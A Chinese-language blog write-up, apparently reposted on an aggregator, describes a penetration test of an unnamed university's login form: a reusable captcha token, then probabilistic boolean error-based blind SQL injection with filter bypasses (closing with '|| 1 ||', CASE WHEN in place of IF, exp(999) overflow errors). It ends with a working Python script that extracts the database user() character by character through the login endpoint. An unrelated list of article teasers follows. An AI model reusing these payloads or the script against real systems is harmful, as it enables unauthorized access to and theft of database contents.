【某某大学的探索之旅】奇怪的登录框概率性布尔报错盲注绕过

在某某大学的探索过程中,发现了一个比较奇怪的布尔报错盲注

它这里本来登录有一个滑动验证码,token是滑动验证码每次校验生成的,从处理逻辑讲,这里的token是不能复用的,但是这里的token却是可以复用,这本来就是一个漏洞了。

这个token可以复用,就给了测试userNo的机会,加了个单引号就返回接口访问出错,但是问题来了,它有时候返回接口访问出错,有时候缺返回账号密码有误

在这里插入图片描述
在这里插入图片描述
注意时间戳(毫秒级)大概每隔几分钟就校验一次,如果时间戳校验失败即返回登陆失败

在这里插入图片描述

首先要搞清楚,这些回显,根据测试的情况猜测:

  • 账号或密码有误
    1. 普通的账号密码登录错误
    2. SQL语句成功闭合或注释并且执行了
  • 接口访问出错
    1. SQL语句本身有语法问题导致报错(如:没有成功闭合单引号或者注释后面的语句)
    2. 即使用函数构造SQL报错来做布尔判断的条件

其次考虑的问题是这里是注释还是闭合,经过测试发现注释貌似都行不通:

'and 1=1 -- 
'and 1=1 --+
'and 1=1 #
'&& 1=1 -- 
'&& 1=1 #
'and 1--+
'&& 1#
.......

都是 账号或密码有误接口访问出错 概率性回显,如果这里成功注释应该是只会回显账号或密码有误(闭合同理);

接下来尝试去闭合单引号:

'and 1=1 and'
'and 1 and'
'&& 1 &&'
'&& 1=1 &&'
'or 1 or'
'or 1=1 or'
'|| 1 ||'
.....

发现只有当payload为'|| 1 ||'时,每次回显都是账号或密码有误

在这里插入图片描述

那么就可以推测这里闭合执行成功了,也可以推测出前面payload的行不通,可能是因为存在过滤或者WAF,那么接下来就可以利用报错函数去验证这里闭合执行是否成功了。

'|| exp(708) ||'  --不会溢出报错
'|| exp(999) ||'  -- 溢出报错

exp是以e为底的指数函数,但是这个数如果大于709,就会造成溢出报错

在这里插入图片描述
在这里插入图片描述

这样就可以确定这里成功闭合执行了SQL语句,并且还确定了执行如果执行报错的话是概率性的。

不难看出以上的结果也是很明显的布尔盲注,可以构造出如果查询结果为True即执行报错函数使它报错,即概率性返回 接口访问出错;如果为False即使它正常执行,即只会返回 账号或密码有误

但是使用if在这里构造查询结果为False执行正常的语句返回两种结果的问题(正常的返回这里应该都是:账号或密码有误),进而猜测这里应该是过滤了if

在这里插入图片描述

尝试使用case when ... then ... else ... end进行绕过构造查询发现果然可行。

在这里插入图片描述

接下来只需要解决查询结果为报错函数的概率性返回问题即可,这个其实很好解决:
       我这里处理方法就是每次Payload增加一个轮查询(比如查10次),如果这十次查询有返回 接口访问出错 那就能证明这条语句执行到了exp(999)也就是大于为True,即可成功判断。因为大于为False的情况是正常SQL不会报错,不会出现 接口访问出错。所以增加一轮样本检测即可。

综上所述,查询脚本如下:

import requests
import time

def greaterSuccessCheck(url, loginJsonData):
    greaterSuccessFlag = False
    for _ in range(10):# 增加的轮数,自行根据概率修改
        resp = requests.post(url=url, json=loginJsonData, timeout=2)
        if "接口访问出错啦" in resp.text:
            greaterSuccessFlag = True
            break
    return greaterSuccessFlag

content = ''
for pos in range(100):# 查询的内容长度
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
        url = "http://xxx.xxx.xxx.xxx/xxxxxxx"
        payload = "admin'||case when ord(mid(user(),{},1))>{} then exp(999) else 1 end ||'".format(pos, mid_num)
        loginJsonData = {"userNo": payload,
                         "password": "82b1ce8689f9696f72c082199f48f8a7",
                         "timestamp": int(time.time() * 1000),
                         "token": "791f5f76f1e84a71894ec0c5b20dce24"}
        greaterSuccessFlag = greaterSuccessCheck(url, loginJsonData)
        if greaterSuccessFlag:
            min_num = mid_num + 1
        else:
            max_num = mid_num
        mid_num = ((min_num + max_num) // 2)
    content += chr(min_num)
    print(content)

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/342528.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【分布式技术】消息队列Kafka

目录 一、Kafka概述 二、消息队列Kafka的好处 三、消息队列Kafka的两种模式 四、Kafka 1、Kafka 定义 2、Kafka 简介 3、Kafka 的特性 五、Kafka的系统架构 六、实操部署Kafka集群 步骤一&#xff1a;在每一个zookeeper节点上完成kafka部署 ​编辑 步骤二&#xff1a…

喜讯 | 华院计算摘得“2023大数据产业年度创新技术突破”奖

2024年1月17日&#xff0c; 由数据猿和上海大数据联盟主办&#xff0c;上海市经济和信息化委员会、上海市科学技术委员会指导的“第六届金猿季&魔方论坛——大数据产业发展论坛”在上海市四行仓库举行。论坛以“小趋势大未来”为主题&#xff0c;围绕大数据产业的各个领域展…

〖大前端 - ES6篇①〗- ES6简介

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;哈哥撩编程&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xff0c;目前在公司…

【表情识别阅读笔记】Towards Semi-Supervised Deep FER with An Adaptive Confidence Margin

论文名&#xff1a; Towards Semi-Supervised Deep Facial Expression Recognition with An Adaptive Confidence Margin 论文来源&#xff1a; CVPR 发表时间&#xff1a; 2022-04 研究背景&#xff1a; 对大量图片或视频进行手工标注表情是一件极其繁琐的事情&#xff0c;因此…

UDP和TCP代理协议有什么区别?哪个更好

在互联网的世界里&#xff0c;数据传输的方式有很多种&#xff0c;其中 UDP 和 TCP 是两种常见的传输协议。而代理协议则是为了在网络中传输数据时提供安全、稳定和高效的传输环境。那么&#xff0c;UDP 和 TCP 代理协议有什么区别呢&#xff1f;哪个更好呢&#xff1f;接下来&…

C++版QT:电子时钟

digiclock.h #ifndef DIGICLOCK_H #define DIGICLOCK_H ​ #include <QLCDNumber> ​ class DigiClock : public QLCDNumber {Q_OBJECT public:DigiClock(QWidget* parent 0);void mousePressEvent(QMouseEvent*);void mouseMoveEvent(QMouseEvent*); public slots:voi…

docker - compose 部署 Tomcat

目录 下面用 docker-compose 方法部署 Tomcat 1、准备工作 2、部署容器 启动容器 查看新启动的容器 3、总结 下面用 docker-compose 方法部署 Tomcat 1、准备工作 先在主机创建工作文件夹&#xff0c;为了放置 Tomcat 的配置文件等。创建文件夹的方法&#xff0c;自己搞…

Kubernetes operator(一)client-go篇【更新中】

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 Kubernetes operator学习 系列第一篇&#xff0c;主要对client-go进行学习&#xff0c;从源码阅读角度&#xff0c;学习client-go各个组件的实现原理、如何协同工作等参考视频&#xff1a;Bilibili 2022年最新k…

应用app的服务器如何增加高并发

增强服务器的高并发能力是现代网络应用非常关键的需求。面对用户数量的不断增长和数据量的膨胀&#xff0c;服务器必须能够处理大量并发请求。以下是一些提高服务器高并发能力的常用方法和具体实施细节&#xff1a; 优化服务器和操作系统配置 服务器和操作系统的默认配置不一定…

大模型学习与实践笔记(十二)

将RAG生成模型部署到openxlab 平台 代码仓库&#xff1a;https://github.com/AllYoung/LLM4opencv 1&#xff1a;创建代码仓库 在 GitHub 中创建存放应用代码的仓库&#xff0c;其代码大致目录树如下&#xff1a; ├─GitHub repo │ ├─app.py # …

多场景建模:阿里多场景多任务元学习方法M2M

multi-scenario multi-task meta learning approach (M2M) 背景 广告领域大部分是针对用户建模的&#xff0c;像点击率预估&#xff0c;很少有针对广告主需求建模&#xff08;广告消耗预估、活跃率/流失率预估、广告曝光量预估&#xff09;&#xff0c;广告的类型较多&#x…

数据库-分库分表初探

文章目录 分库策略垂直切分垂直分库&#xff08;专库专用&#xff09;垂直分表&#xff08;拆表&#xff09;优点缺点 水平(Sharding)切分水平分表库内分表分库分表优点缺点 分表策略hash取模方案range范围区间取值方案映射表方案 分库分表问题事务一致性问题跨节点关联查询跨节…

隐藏服务器源IP的几种方法

为网络管理员的我们多知道遇到过服务器因为拒绝服务攻击(DDOS攻击)遇到网站瘫痪的情况是很糟心&#xff0c;随着客户信息越来越受到公司企业的重视&#xff0c;网站服务器的安全也越来越受到关注&#xff0c;但无法避免的是会遇到黑客使用DDoS攻击业务。 下面简单介绍一下隐藏i…

PolarDB无感切换特性助力游戏领域高可用实践

❤️作者主页&#xff1a;小虚竹 ❤️作者简介&#xff1a;大家好,我是小虚竹。2022年度博客之星评选TOP 10&#x1f3c6;&#xff0c;Java领域优质创作者&#x1f3c6;&#xff0c;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;掘金年度人气作…

前端使用css去除input框的默认样式

关键点&#xff1a; /* 关键点&#xff0c;让输入框无边框 */outline:none; border:none; 1.效果图 2.html <div class"container"><input type"text" placeholder"请输入用户名"><input type"text" placeholder&q…

如何在WordPress中使用 AI 进行 SEO(12 个工具)

您想在 WordPress 中使用 AI 进行 SEO 吗&#xff1f; 人工智能正在对 SEO 行业产生重大影响。已经有优秀的人工智能 SEO 工具&#xff0c;您可以使用它们来提高您的 SEO 排名&#xff0c;而无需付出太多努力。 在本文中&#xff0c;我们将向您展示如何通过我们精心挑选的工具…

深入解析互联网医院APP开发流程与源码搭建

本篇文章&#xff0c;深入解析互联网医院APP的开发流程&#xff0c;并提供关于源码搭建的一些建议。 一、确定需求与功能 在开始互联网医院APP的开发之前&#xff0c;首先需要明确项目的需求和功能。这包括用户端的预约挂号、在线咨询、报告查看等功能&#xff0c;以及医生端…

spawn_group_template | spawn_group | linked_respawn

字段介绍 spawn_group | spawn_group_template 用来记录与脚本事件或boss战斗有关的 creatures | gameobjects 的刷新数据linked_respawn 用来将 creatures | gameobjects 和 boss 联系起来&#xff0c;这样如果你杀死boss&#xff0c; creatures | gameobjects 在副本重置之前…

stm32中的SPI

SPI的简介 文章目录 SPI的简介物理层协议层基本通讯过程起始和终止信号数据有效性CPOL/CPHA及通讯模式 STM3的SPI特性及架构通讯引脚时钟控制逻辑数据控制逻辑整体控制逻辑通讯过程 代码配置实现指令集结构体的定义SPI时钟信号的定义SPI端口定义SPI命令 flash驱动代码初始化代码…

白酒:原料选择与品质提升的关键要素

云仓酒庄的豪迈白酒&#xff0c;作为中国白酒的品牌之一&#xff0c;其品质的卓着性深受消费者喜爱。在探究其原料选择与品质提升的关键要素时&#xff0c;我们可以深入了解这款酒的酿造工艺和品质保障。 首先&#xff0c;豪迈白酒的原料选择至关重要。高粱作为主要原料&#…